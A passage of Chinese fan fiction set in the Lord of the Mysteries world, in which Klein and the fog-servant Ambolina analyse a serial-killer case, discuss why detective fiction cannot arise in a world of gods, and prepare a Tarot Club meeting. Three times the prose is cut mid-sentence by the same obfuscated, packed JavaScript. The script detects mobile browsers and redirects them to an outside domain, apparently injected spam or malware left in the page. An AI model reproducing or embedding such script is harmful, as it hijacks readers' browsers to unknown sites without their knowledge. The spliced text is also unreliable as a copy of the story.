哪怕一瓶序列6的魔药可以卖上不错的好价钱,为了避免某天莫名其妙多出一个由自己亲手制造的魔女敌人,他最终还是选择了将其封存起来。 安波莉娜正在闷闷不乐地罚站。 她低着头,被迫手持写着“我再也不教唆别人喝乱七八糟的魔药了”的牌子。浑身上下都散发着一种浓烈的委屈。 她不太明白,为什么这位主人对一瓶小小魔药反应过大。也不明白为什么那虚无缥缈的男性尊严、还有那过分谨慎的态度,可以战胜对于纯粹强大的渴望! 这态度对她的工作来说是前所未有的考验,在这一刻,她领会到了罗塞尔大帝语录里“怒其不争”的切身感想。 沉默正在这空旷的殿堂蔓延。 二人都沉默不语,但他们思考的内容截然不同。 安波莉娜调整了一下自己罚站的姿势,想着如何戴罪立功。 而克莱恩正低头思忖着白天在贝克兰德的调查。努力在脑海中拼凑那个连环杀手的形象。专门猎杀特定的人群,行踪不定,而且极有可能是非凡者...诸多线索,他心中已经有了一个模糊的推测。 安波莉娜对此浑然不觉。 为了打破这沉静的气氛,她对着座上的主人故作矜持地咳嗽两声:“如果您还在对于晋升之途担忧的话,那么我还有神秘学小知识大放送!” 不好的预感又出现了。 克莱恩有些无力地瞥了一眼她。而她立刻把这个疲惫的眼神视作默许,继续说了下去: “其实,途径本身对于性别、乃至物种都没有限制,但在一些极其特殊的序列上,力量的表现形式有阴性和阳性的区分。”她摇摇手指,“哪怕您变成了魔女,也可以在猎人途径高序列的时候转回,并重新拥有男性特征!” ...奇怪的神秘学小知识增加了。 变男变女都精彩是吧...克莱恩摁了摁发胀的额角。实在不明白为什么她能把这一切描述得像在游戏里切换男账号和女账号。他再次感到了某种和神秘学造物在伦理观上的天生差异。 “那么,”他沉重地叹息,“那这频繁地转换途径之间产生的疯狂呢?” 安波莉娜露出一个“您怎么还在纠结这种小事”的表情,完全忘记了自己手上拿着的警示牌写的内容。 她故作惊讶,死性不改道:“疯狂是一时的,强大才是永远的......”疯了总比死透了好..... 克莱恩做了一个“打住”的手势:“总之,你的好意我心领了。” 灰雾似乎正在因为她的不甘心而翻腾,他迅速转移话题:“话说回来,安波莉娜,你怎么会有这么多神奇的小玩意?” 但这并没有化解二人紧张的气氛,某些用词立刻激发了安波莉娜的逆反心理。 “恕我直言,主人!”她挺直腰杆反驳道,“这些都是我的心意。绝对不是什么莫名其妙的‘小玩意’!是我对您的一片忠诚之心!” “我没那么说...”克莱恩又感到一阵头痛,“你在曲解我的意思。” “要说最莫名其妙的还是主人您的收藏吧!”安波莉娜奋力反抗,“我早就想说了,序列5以下的东西就不用带上来了!如果被其他神灵知道了,这实在有损您的格调和品味!” 她指向克莱恩在她出现之前,一直不断堆积的杂物堆。 那里就像是一个巨大的奖池,并且奖金还在不断的增加中...里面存放着诸多他的家当。他全部的现金,击杀秘偶大师罗萨戈得到的“全黑之眼”,还有一些零零碎碎的有可能用到的灵性材料。在这庄严神圣的殿堂一角,看上去确实有些不匹配这恢宏的场景的古怪寒酸感。 “——通用货币也就算了。还有那个小铁盒。您是认真的吗?这里面毫无灵性反应!您的神国可不是什么破烂都可以玷污的地方!” 顺着她手指的方向,克莱恩有点心虚地瞟了一眼角落里的杂物堆。那个铁盒确实没有什么非凡特性,不过让他随便乱扔掉实在是有些奢侈了。 克莱恩佯装镇静,摆摆手:“我自有安排,你不用担心这些琐事。” “您的事情才不是什么琐事。”安波莉娜有些黯然神伤的低头,她唉声叹气,“我只是想派上用场,帮上您的忙...” 她耷拉着头,身旁的雾气也似乎被这悲伤渲染,缓慢而凝滞地漂浮。她那头银灰色的长发似乎都失去了光泽,黯淡了不少。 她看起来像一只在路边被人莫名其妙踢了一脚的小狗。 太怪了。也许是出于现代人的完备人格修养,他感觉那种同情心又开始作祟。 克莱恩努力地组织语言:“事实上,我确实有些事情想听听你的看法。” 安波莉娜小心翼翼地抬头,模拟出那种受宠若惊的期待表情。 有的时候她表现得确实很真实拟人...克莱恩在心里腹诽道。 “我最近,在调查一桩杀人案,包括今天。”他回想起她先前表现出的出色的观察和推理能力,斟酌着用词,“现在,你可以畅所欲言了。” 安波莉娜脸上浮现了一个大大的问号。 “您不具体说是什么细节,我怎么知道是哪一桩杀人案?”她看上去困惑极了。 尴尬立刻化作热度在他耳根上蔓延,克莱恩在心里咆哮,我以为你知道呢! “呃,我以为你知道呢。”他干巴巴地开口,突然感觉自己像个傻子,“毕竟你总是说什么‘无时无刻都在看着你’的怪话.......” 安波莉娜恍然大悟:“哦,那个啊,我只是说着玩玩而已。我和物质位面的联系是时好时坏的,怎么可能一直高强度看着您做什么呢?” 她好奇地歪头,向前凑近了一步,直勾勾地看着他:“您不会当真了吧?您很期待我一直看着你吗?” 她那被雾气隐约掩盖的、纯灰色的眼睛里写满了“不会吧不会吧不会真的有人当真了吧”。 我没有那么想过!克莱恩在心里尖叫,他感觉自己更像一个傻子了,热气迅速在脸上在翻腾。 他干咳两声,向后拉开距离,努力地把话题扯回正道:“好吧。我的错,别在意。” 他迅速整理思绪,进入侦探状态:“是一桩连环杀人案,目前可以确认的受害者有十一人,年龄从十多岁到二十多岁不等。从事的职业、领域各不相同。唯一的共性是她们都有过艰难的时期,成为过风尘女郎。而最终的死亡方式,都是因为失血过多,被剖出内脏。不排除是非凡者作案。” 他深呼吸一口气,暂时隐去了最后一桩案子的受害者和其他人情况有些不同。有模仿作案的可能性。 安波莉娜听完低头思忖了一下:“您对于杀人这种行为本身的形式有什么了解吗?” 好奇怪的角度! ...我自己被因斯·赞格威尔杀过一次算吗?克莱恩又忍不住在心里吐槽起来。 他努力地搜刮自己身为键盘强者时期,在网上了解到的零碎刑侦学知识:“知道一些,不多。比如预谋杀人、激情杀人...财杀、情杀、过失致死之类的.....” 安波莉娜点了点头,近乎平静地继续阐述:“如您所说。这些杀人形式可以更简单地归类为,争夺生存资源、繁殖冲动、消除威胁源。或者更简单,如嗜好性杀戮、功利性杀戮等等形式。” 克莱恩惊呆了,第一次听到有人能把刑侦学知识归类得如此动物性。 财杀是一种对于生存资源的争夺?好像有点怪怪的,又没有大错。情杀是繁殖冲动、激情杀人是嗜好性的冲动杀戮......他努力地把她话里抽象词组和自己脑海里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506851|186102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的知识对上号。功利性杀戮又是什么... 这太奇怪了。这是一种带着一种完全动物性的,剥离了人类伦理法则的解读。和故乡的系统性的刑侦学知识完全不同。克莱恩忍不住又多看了她两眼。生怕她突然蹦出来一句:“人类的大家就是卑鄙的小动物~” 好在安波莉娜还保持那副抽离的状态。克莱恩心想,这应该才是最接近她本质的模样。 她的面上没有什么表情,继续说道:“他有选择的挑选有过相同处境的女性受害者,柔弱,中低产阶级。说明他拥有挑选的智力,懂得规避风险。没有选择身居高位的女性,因为他知道不能牵扯到更高程度非凡者之间的博弈。不想引起更多的关注。” “剖开受害者的腹部,取出内脏,第一次可以视作是一种血腥的嗜好,到了第二次,第三次,可以视为是一种固定的象征性仪式。”她顿了顿,“宣扬一种‘这就是我做的’的标志。” “而在神秘学里,标志本身就含有灵性意义的指向性...” “停停停。”克莱恩被这巨大的信息量撞得有点头晕眼花,“我很好奇你刚刚提到的一个概念,你说的功利性杀戮具体是什么意思?” “那个呀,这很简单。”她用一种似笑非笑的表情看了过来。 “在一些事情里,会出现这样的状况吧?比如某某人的存在阻碍了某某人。父亲阻碍了儿子继承家业,上司阻碍了下属的发展...”她虔诚地双手合拢,声音轻柔,“如果你死了的话——我们大家一定会过得更好。这种拥有高明借口的资源掠夺就叫做功利性杀戮。” 一股寒意突然顺着他的脊椎骨窜了上来。克莱恩咽了咽口水:“那么,你的意思是,这起案子...” 安波莉娜微笑:“我的意思是,这几位可怜的小姐,是出于某种功利性的目的被杀害的。相同的职业只是一种‘借口’的挑选。或者说,消化魔药的扮演仪式。” ...非凡者作案。他的脑子里再次肯定了这个观点。答案已经呼之欲出。毕竟没有什么普通人作案能在值夜者的手里逃脱。而这十位受害者则是凶手为了仪式而挑选的完美祭品—— “所以是为了晋升仪式。”他喃喃。 安波莉娜点了点头:“正是如此。” 一种沉重、混杂着即将告破案件的急切心情混合在一起。让他心情复杂。如果没有猜错的话,这应该就是恶魔途径的非凡者的作案。甚至序列不低。 克莱恩忍住那种继续思考的冲动,仅仅是为了消化魔药,完成扮演法的需求,就需要屠戮与自己毫不相干的人类。在这个世界里,越是往高位走,这条追求力量的道路注定和死亡、屠戮为伴吗? 他再次深深地吸了一口气,努力缓和这凝滞的气氛:“谢谢你,安波莉娜。你的分析帮了大忙了。” 安波莉娜只是露出一个谦虚的微笑,微微点头:“只希望能帮上您的忙。” 虽然和他之前的推理大致吻合。但能得到如此严密的,甚至是从神秘学角度上的分析,也更加一步肯定了他的调查方向。 就在这时,克莱恩心中突然浮现出一个有趣的想法:“安波莉娜,难道你很喜欢推理吗?” 她眨眨眼,努力地撇清自己和人类的关系:“喜欢?这只是我本身的性能所致,就像是整合数据,进行分析。和人类会呼吸空气这种行为类似,称不上喜欢吧。” 不...你绝对很喜欢吧。克莱恩忍不住吐槽。 他想起着故乡的那些有名的故事还有推理大师们:阿加莎、江户川乱步、还有他现在名字的来源——柯南·道尔的作品。不知道这个拥有非凡力量的世界里,推理小说发展得怎么样了。应该也会变得更加有趣吧。 他温和道:“我下次给你带几本推理小说上来,作为这次协助的谢礼,如何?” 然而,出乎意料的是,他没有等到安波莉娜雀跃不已的声音。 安波莉娜只是困惑地歪头,好像他说出是什么难以理解的内容:“您在说什么呢?” 她的呼吸轻柔而温和,吐露出的内容却残酷无比。 “——推理小说,是一种您开创的新的文学形式吗?” 克莱恩霎时怔住了。 8. 虚妄摇篮 人在面对难以接受的信息时,会产生否定、愤怒、合理化信息或是陷入消极防御等等状态。 好在克莱恩自认为自己是个性格稳定的成熟男士,一瞬间听到这荒谬的问法时,并没有想象中的那么激动。 ...这个世界不存在推理小说? 这说不通啊。毕竟他本身就是一名侦探。 也许是因为现行的技术条件不足够支撑推理小说的发行?但出版行业早就有了成熟的打字机技术,甚至普及到了各大文员办公室。他也确信,推理这种一环扣一环,抽丝剥茧破解谜题的模式,不管在哪个世界都是老少皆宜的题材。 难道是罗塞尔在文抄公的时候落下了这一块? 他抱着手臂,看着安波莉娜。 安波莉娜也模仿着他的动作,歪着头抱着手臂看向他。 一主一仆就这样对视。在这恢弘的殿堂里又一次陷入了无声的对峙。 “有什么问题吗?”她语气里充满了困惑。 问题大了呢。克莱恩心想。 他转念一想,觉得最大的可能性就是正如安波莉娜自己所说,她和“物质位面”的联系不稳定。也许是因为没有观测到合她胃口的推理小说罢了。想到这里,他的眼神突然就产生了几分“孩子从来没有吃过好饭”的慈祥。 安波莉娜被这个慈祥的眼神看得有点不自在。大多数时候,这位主人都是冷静的,或者优柔寡断的。习惯性地用审视和谨慎的目光度量着一切,突然变得这么的...情感外露。这非常的奇怪! 瞬间,一种不爽的感觉腾起。 “您觉得我在说谎。”她礼仪性的笑容垮了下来,用一种笃定的语气说道。 我不是..我没有...克莱恩小声地在心里辩解道。 无声就是肯定。安波莉娜感到非常郁闷。 “那么,”她换了一种方式,求知般向前微微倾身,“您认为的推理小说,究竟是什么样的呢?我非常的好奇。” 克莱恩挑眉,这就有得说了。 想起故乡发展得五花八门的推理小说,尽管他没有每本都拜读过。但在互联网的熏陶下,也知道了不少推理界的故事。 以阿加莎为代表的本格推理的黄金时代,以雷蒙德·钱德勒为首的硬汉派推理,题材逐渐宽松有趣的变格派,还有后世的逐渐关联社会问题的社会派推理。甚至还有江户川乱步提出的或然率犯罪,不管哪个故事单拉出来都足够有趣。势必要让这个异世界的神秘学造物见识一下地球的文化结晶的魅力。 “比如,”他清了清嗓子,开始描绘,“在一场遮天蔽日的暴风雪降临时,大家被聚集在封锁的宅邸。通讯断绝,无法离开。紧接着,其中一人离奇死亡,然后是第二个,第三个...而凶手就藏在你们身边。也许是她,也许是他,或者说凶手就是你本人。” 安波莉娜点了点头。 “又或者是,在一辆横贯大陆,飞速行驶的豪华列车上,来自世界各地的乘客都怀着各自的秘密走入车厢。然而命案紧接着发生。这时候,你发现他们中的每个人都有可能,但是每个人又不可能......” “现在还没有哪辆列车可以横贯整个北大陆呢。”安波莉娜忍不住吐槽,“那会引发外交问题的。” 克莱恩摇摇手指:“这只是文学创作需要而已。” 她小声地唔了一下,勉强接受了这个条件。 “听起来很有意思。”她点了点头,肯定了故事的趣味性,“那么这些故事是怎么创作出来的呢?” 克莱恩内心毫无波动,甚至有些想笑... 怎么创作出来的?用笔创作出来的。好吧,这是个烂梗。他想着,思考该怎么给她解释工业革命后产生的社会变革、城市化等等诸多因素催生出的这独属于人类的自然理性之声。 克莱恩给出了一个他觉得最有力、也是最绝对的论点:“先不提这些。我不就是侦探吗?这座城市还有很多像我一样的侦探。”这本身就说明了侦探这个行业在市场上的需求。 “那么,”安波莉娜顿了顿,继续说道,“您具体承接的侦探事务有哪些?” 克莱恩的心跳停滞了一下,仿佛是在雾中感觉到了什么。却又依然抓不到要点。 “呃,第一件是经典寻猫,然后是寻物。帮助别人离婚。最后是寻人....”他想了想,缓和气氛般补充道,“活人死人都有。” “那么您解决这些案件,使用的方式是?” 克莱恩的额角流出一滴冷汗,声音稍微有点低下去:“...好吧,大多数时候是依靠占卜家的能力。加一些我自己的推理。” 他立刻试图挽回局面,小声地辩解道:“但这座城市还是有其他很多正统侦探的。他们都...” “他们都是非凡者吗?”安波莉娜问。 她的声音没什么温度,只是简单的陈述。那双无机质的灰色眸子安静地和他对视。 这... 克莱恩一时之间有些卡壳,想起那位对他赞不绝口的大侦探艾辛格·斯坦顿、想起其他几位侦探...他们身上或多或少都带着灵性的痕迹,他们承接的业务和消息来源,都或多或少和教会人员,国家机关高层关系密切。 他心下突然冒出一个判断。 “是的,他们大多是非凡者。”克莱恩不得不承认,小声说道,“尽管他们都隐藏了自己的身份。” 安波莉娜了然地点头,双手合十:“那么,容我再次询问,如果一起案件涉及到了非凡力量。一个不曾拥有灵视,只靠最基本的调查和问询法的普通人有可能查出蛛丝马迹吗?” 噔噔咚。 ...不,不太可能。这次他自己都不得不承认。 就连这次的连环杀手案,他们甚至无法给死者通灵。犯罪者也许使用了什么非凡能力,甚至连灵魂本身都一起抹去了。别说普通人了,就连教会都感到棘手。因此这桩案子才有可能成为民间悬赏。 密室推理的核心在于环境封闭,力量均等,以及人们的追问和思考。但是倘若凶手会穿墙术呢?列车上的乘客一个接着一个死去。但是倘若凶手其实在千里之外,通过诅咒杀人呢? 这样的力量对推理故事来说,无疑是一种毁灭性的打击。 在这个超凡力量存在的世界,只需要一根头发、一件随身物品就可以实现隔空咒杀。他们可以操控元素,蒙蔽普通人的感知,甚至但从灵体打击,不留下任何物理痕迹地完成一次作案。在这样一个超自然力量真实存在的背景下,纯粹的,依赖于物理证据和人类行为逻辑的“推理”体系又如何能建立呢? 他依稀记得课本上,那小小的一点内容——推理小说是理性的产物。是人们试图脱离宗教的桎梏,尝试着用理性、秩序和客观自然法则来解释一切现象的尝试。也是工业时代,人们试图诀别神明,告别蒙昧之声,尝试着“以人为万物尺度”的第一步。 ——但是倘若,神明从未离开呢? 克莱恩突然感觉自己额角滴下一滴冷汗。 绯红之月是女神的象征,生命是大地母神的权柄。风雨和雷暴是风暴之主的怒气。天上那颗久远放热的、近乎永恒的光辉恒星也是神明的载体。就连工业也成为了神明的附属产品。 那么独属于人类自己的,本身的尊严又在哪里? 一切复杂的、混乱的线索突然以一种扭曲的姿态拧合在了一起。 工业革命——这个世界的工业革命起始和他的世界一样。源自于蒸汽机的发明,它的创造极大的推动了人们的生产力。但这个世界,蒸汽机并非是人们通过自己的力量创造而出。而是罗塞尔,这个天降穿越者,带着势不可挡的力量,强行从地球的19世纪的历史里嫁接过来的。 共和国的体制——并不是人们在抗争中逐渐拥有了权利的意识,知晓自己也能主宰自己生命,拒绝被奴役。而是在教会的批准和默许下,有条不紊地进行改朝换代。 他感觉到了一种来自于世界底层逻辑的奇怪的扭曲。 神好似温和的历史引导者,如圈养牲畜一样,照顾着人类。前进一步容易导致毁灭,向后一步又容易导致世界静止不前。 安波莉娜微微一笑,对于他的沉默没有更多的揶揄。 她继续说道:“按照您所说,推理是人们寻求真相,寻求理性之声,一种自然诞生的产物。” 克莱恩沉重地点了点头。 “那么倘若真相代表着污染,疯狂和死亡呢?”她微微歪头,“仅仅是知道某个事实就会死去,崩溃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506852|186102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成怪物的情况下,也会有人坚持推理——探究真相吗?” 她做出嘲弄般的虔诚祈祷姿态:“再换句话说,如果我能向神灵祈祷得到启示,或是在最近的教会里找到官方非凡者获得帮助,我是否还有必要继续思考,得出一个极有可能被局限的答案呢?” 安波莉娜微微一笑,盖棺定论:“您所描绘的自然诞生的理性之声很美丽,但是,在这里并不存在。” 他的脑海里,一条思路逐渐清晰。 在这个世界,追求真理、追求知识是危险的。因为越是抽丝剥茧去探究,越是容易直面不可名状的疯狂。就像刚开始,原身和他的同学就因为那本笔记而接连死去。 而当下,现实中的侦探大多停留在“实用主义”的层面。这些年来,除了非凡者导致的案件之外,几乎没有案件是无法被侦破。只需要小小的灵摆,或是一次简单的通灵就可以解释一切。 再复杂些的案件——非凡者所犯下的罪行,民众甚至没有任何知情权。探究是错误的,推理是危险的。越是去深究,越有可能走上岔路,甚至导致大量的死亡。一切涉及到非凡力量的案件,只会草草了结为凶手心理变态,诸多谎言的编造来平复大众的心理。他们甚至不知道自己是因为什么而死—— “但是报纸上刊登过类似于推理小说的故事。”克莱恩做出一点最后的努力,小声地叹气。他想起还在廷根时,听其他人提起的《大侦探芒森》的故事。 安波莉娜露出了一个很怀念的笑容。 “那个啊...”她没肯定也没否定,脸上的表情缓和了起来,“那是灵界七光的手笔。” 怎么突然又开始了神秘学小知识...! “那是什么?” “嗯...怎么说呢。”安波莉娜的声音轻快了不少,“是一群啰啰嗦嗦,莫名其妙的喜欢到处传授知识的老头子。” “下次您有机会见到他们的时候,我会让他们给您下跪的。” 克莱恩:“......?” 这、这不对吧!怎么就一转下跪了! 安波莉娜继续说道:“简单来说,他们近似于这个世界规则的一部分。他们负责揭示末日之声,在诸多领域走入末路,文明陷入瓶颈时,他们会降下特定的启示。您所说的故事,应该就是其中掌管艺术领域的那位的手笔...” “.......” 她的嘴唇张合,似乎说了更多。但他突然听得不真切了起来。 在克莱恩的眼里,她的身影瞬间变得恍惚,好似水面晃荡起的层层叠叠涟漪。 “等等、安波莉娜!” 他还想问点什么,但是灵性已经隐隐约约有了枯竭的征兆。那额角一跳一跳的抽痛,正提醒着他返回现实的时间。 她看着他挣扎的表情,好奇地歪头,随即好像意识到了他的灵性有限,无法长久地支撑他在这里的行动。 她优雅地提起裙摆行礼,有些遗憾地说道:“...已经是这个时间了啊。” “那么期待我们下次的见面。”她笑容满面,“请务必、活到那个时候。我尊敬的主人。” 眼前的一切开始变得遥远而虚幻。灰雾上的殿堂在他的视角开始急速后退,无限缩小成一个小点。 庄严的华美大门也因为她的话语,在他眼前“轰”的一下关闭。 ...又开始不说人话了,这个谜语人! 在意识脱离灰雾,回归身体之前,他隐约地有了些猜想,对这个世界进行了重新定义。 在这个世界里,神明和人类维持着一种扭曲的关系。并非是出于恶意圈养人类,而是毫无力量的情况下,让他们接触世界,更容易导致人类群体暴毙。这打造的温和保护圈,让他们在这个危机四伏的世界活了下来,但是同时,人类作为种族的成长性完全滞后。 本来应该是神明放手世界,把权力移交给人类的工业时代。科学反而成为了神秘学的附庸。人类无法脱离摇篮,独立行走。除非有神明的首肯,或是出现如罗塞尔这般的变量,否则,他们永远也无法依靠自身的力量,真正地、完整地走入现代。 人类在这个世界里,似乎永远地活在神明所搭建的幼小摇篮里。无法告别“童年”,也无法真正地迈向“成年”了。 9. 假装上班 总有一天,人们会知道自己因何而生。 总有一天,人们会知道自己因何而死。 但那究竟是什么时候? 又是一个星期一下午,塔罗会照例举行的时间。这一次,克莱恩故意提前了10分钟来到了灰雾之上。一如既往端地坐在那张象征愚者的高背椅上。 刚刚在这个周末处理完乌特拉夫斯基神父的事件,灵性和精神上的消耗都让他感觉到了一种无力。克莱恩揉了揉眉心,试图将思绪理顺,但脑海中依然回响着安波莉娜那句——“自然诞生的理性之声在这里不存在。” 他不是社会学家,充其量算个涉猎广泛的键盘强者。依然有些难以理解这对于这个世界当下意味着什么。现代化这个议题还是太遥远了,放在一边。那么更确切的是,哲学死了?人文主义不存在了? 但放眼望去,整个鲁恩王国,乃至整个北大陆依然有条不紊地运行着,哪怕存在诸多隐秘的威胁,也尚未到分崩离析的程度。 “或许,这就像我以前接手过的那些祖传的屎山代码。”克莱恩苦中作乐地想道,“虽然逻辑一窍不通、结构混乱冗杂,但是系统就是跑起来了...所以,暂时也不是什么致命问题?” 他真正担心的,还是远在廷根的家人。班森和梅丽莎。 不知道班森的公务员考试是否顺利。梅丽莎心心念念的蒸汽与机械之神教会下属的学院能否如愿入读。 和安波莉娜的对话不停刷新着他认知,这个世界比他想象的还要危险、恐怖。只希望他“阵亡”留下的那笔抚恤金足够支持他们走完这关键的一步。想到这里,他就忍不住翘了翘嘴角。 克莱恩强行扭转思绪,吞下那苦涩的感觉。把注意力转移这空间里的另一人身上。 他目光垂落,望下下方。此刻,安波莉娜正以一种无可挑剔的敬业姿态,辛勤地劳作着。 更确切地说——她正在假装上班。 只见她优雅地把手探入身旁的灰雾,精准地“抽”出一把古旧的扫帚。紧接着,她装模作样地打扫了起来。前后走动,前后走动。她不停地在纯粹由灰雾凝结的地板上扫来扫去,扫帚发出规律的沙沙声,好像这里真的有什么垃圾似的。 也许是觉得这样重复性的机械劳动实在没趣,她停止了散步。再次把手伸进灰雾中,轻轻一抓,这次抽出的是一条洁白的抹布。 她微微倾身,在那本就毫无污渍的青铜长桌上擦来擦去,势必要把那青铜长桌擦出镜面反射的效果。 克莱恩看得一阵头痛。 偶尔,她会踱步到克莱恩早已准备好的,利用“全黑之眼”和灰雾力量固化好的“世界”秘偶身旁。她好奇地踮起脚尖,用抹布擦擦他面无表情的脸。她打量着这位弥漫着不祥气息的绅士,偷偷回头瞟一眼端坐于上首的克莱恩,似乎探究着这位主人是否有什么不为人知的癖好。 然而,这其中实际的劳动价值几乎为零。 像极了他以前在公司上班摸鱼,在电脑前一坐就是一整天,还要敲敲键盘,在领导巡视时营造出努力工作的假象。 这算什么,物似主人型吗?不对不对、这也有点太不尊重人了。克莱恩在心中吐槽。 安波莉娜似乎敏锐地感受到他的注视,她停下了手中毫无意义的动作,将抹布扔回灰雾里。随即转身,双手交叠于裙前,朝着座上微微躬身行了一礼。 “尊敬的主人,会场已经准备完毕了。”她抬头,笑容完美无瑕,“您随时可以召唤您那亲密无间的小团体,开始本周的聚会了。” ...不是,你怎么还在记仇啊!还没过小团体那茬吗! 今天是安波莉娜首次在场的塔罗会。 鉴于他还没想好该如何介绍这位凭空出现的灰雾造物,更担心她在开始时发表什么惊世骇俗的言论。他准备让她先旁观一次塔罗会,熟悉熟悉这个流程,看看正常人类究竟是如何交流的,以免她把所有成员都吓晕。 安波莉娜保持着完美的微笑,似乎看穿了他的顾虑。 她微微倾身,用一种过分刻意的温顺声音说道:“如果您需要茶水的话,您谦卑的仆人也可以一并准备。只是和上次一样,只有口感,没有实际的能量补充。” 语毕,她仿佛自言自语地对着头顶的空气说道:“哈哈,我完全不在意呢。被排挤在核心圈子之外就是我宿命,我已经完全了解了。毕竟我只是一介仆役,完全没有和诸位成员平等对话的资格呢。真好笑,哈哈。” 你看上去完全不像已经放下的样子! 克莱恩有点尴尬地干咳两声,手握成拳头抵在下巴上。他压低声音,努力拿出身为愚者的尊严:“安波莉娜,你可以留在旁听,观察他们的行为模式,言行举止,学习如何和人交流。但...” 他深吸一口气,准备给出最关键的限制——绝对不能去骚扰他们! 他的脑海中已经不受控制地出现很多灾难性的画面:安波莉娜热情洋溢地给每个人端上红茶和点心,把这神圣的塔罗会(也许没那么神圣)的交易现场变成了贝克兰德贵妇的下午茶聚会。她一边说着蓝色的杂草好有趣哈哈,然后试图伸手去揪揪“倒吊人”先生的头发。或者围着“正义”小姐团团转,对她的服装搭配风格进行一阵犀利点评。 那时候他该用什么样的态度制止?侍从都这副样子,“愚者”的威严到那个时候恐怕也已经碎了一地了吧。 话音刚落,安波莉娜突然怔住了。他话里的转折毋庸置疑地传达到了她耳边。 她嘴唇微张,呆呆地站在那里,双眼立刻氤氲起了一层朦胧的水雾。她面上的表情看起来痛苦极了,整个人茫然无措地望着他。好像在那一瞬间她被全世界抛弃了。 哎哟!克莱恩心里一咯噔。 那些说教瞬间吞入腹中。他连忙改口道:“但是!只要你不打扰其他人,不干扰整个会议的正常进行,你...你想做什么就做什么吧。” 话音刚落,安波莉娜脸上的泫然欲泣的表情瞬间消失得无影无踪。仿佛从未出现过。 她小声地欢呼了一下,只差提着裙摆转个圈来表达自己的愉快。 克莱恩的心里瞬间浮现三个大字: 上、当、了! 三点整,准时来临。 灰雾殿堂中,那一颗颗虚幻的深红星辰开始在穹顶闪烁。磅礴的灵性的力量在不断膨胀。收缩、扩大、荡漾。周围的灰雾也如沸腾的海洋般翻滚起来。 一道道身影伴随深红光芒的包裹,出现在了青铜长桌旁。他们有序落座。朦胧的雾气如面纱般,掩盖着每个人的身形,让一切若隐若现,只留下了浅浅的轮廓——“正义”、“倒吊人”、“太阳”、“世界”、以及新加入的“魔术师”。 尽管处于不可视状态,侍立于克莱恩身旁的安波莉娜也不自觉地挺直身体。目不斜视,双手优雅地交叠在身前。 “下午好,愚者先生。” “正义”奥黛丽微微一笑,她习惯性地虚提裙摆开始依次问候。 良好的开头是成功的一半。 待她问候完毕,端坐于上首的克莱恩点了点头,装若不经意地介绍起了新加入的成员:“这位是魔术师小姐,我们的新成员。” 奥黛丽和其他的成员一样,认真地聆听着“愚者”先生的介绍。作为“观众”她几乎是本能般地就开始了分析,悄悄打量这位新成员的灵体状态。嗯,这略显焦虑,甚至有些吃惊的感觉,应该就是佛尔斯.... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506853|186102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而,就在她目光掠过“愚者”先生身后那片浓郁的灰雾时,奥黛丽的瞳孔骤然一缩。她似乎瞥见在那浓郁的灰雾深处,这无尽的纯色隐约勾勒出一个模糊的人形,仿佛一位侍者静立于神明身后。可也就是在她眨眼的那么短短一瞬,那轮廓就完全融化了。 打起精神来啊,奥黛丽!奥黛丽忍不住想用手拍拍自己的脸,告诉自己别犯蠢。一定是昨天晚上睡太晚了,才开始莫名的出现幻觉。 但一想到这不是在自己家里,贵族良好的教养让她强行忍住这股冲动。等“愚者”先生言简意赅地给每个成员都介绍完毕,她迅速收敛心神。 奥黛丽微微一笑,轻轻前倾,将手搁置在胸口:“愚者先生,我又搜集到了三张罗塞尔日记,可以上交给您。” 又到了喜闻乐见的开盲盒时间! 听到这话,克莱恩顿时一阵暗喜。不过好在他要扮演“愚者”,于是只能颇为矜持地点了点头,按照之前的流程,让那三张罗塞尔日记浮现于自己桌前。没想到“正义”小姐搜集日记的速度这么快,这就是实力过硬啊。克莱恩摇摇头,轻轻地扫视起来,不知道这位穿越者前辈这次又能带给他些什么样的惊喜。 然而,有时候命运就是喜欢开玩笑。 他粗略地一扫,没想到这三张里面竟然有两张又是重复的!他已经看过了。 喜悦瞬间被冲淡,克莱恩又是一阵心力憔悴。 这也是没法避免的事情...他在心中叹息,语言不通的代价迟早要发生。毕竟不是每个人都懂中文。他又不好敲打敲打对方,开始对着“正义”小姐讨价还价,这也太掉“愚者”的逼格了。 他压下心底的那点郁闷,将注意力转向那张素未谋面的日记,看了起来: “六月十九日,天气糟糕透了。但我的心情好极了。今天是贝尔纳黛的满月宴。看着宫廷和议会里的那些老东西不得不恭维一个襁褓中的婴儿,我就忍不住想笑。但今天是贝尔纳黛宝贵的时间,还是不要把注意力浪费在这些人身上了。” “贝尔纳黛今天对我笑了!光是看着她那样用小小的手指捏着我的食指,我感觉心都要化了。这就是作为一名父亲的感觉吗?” 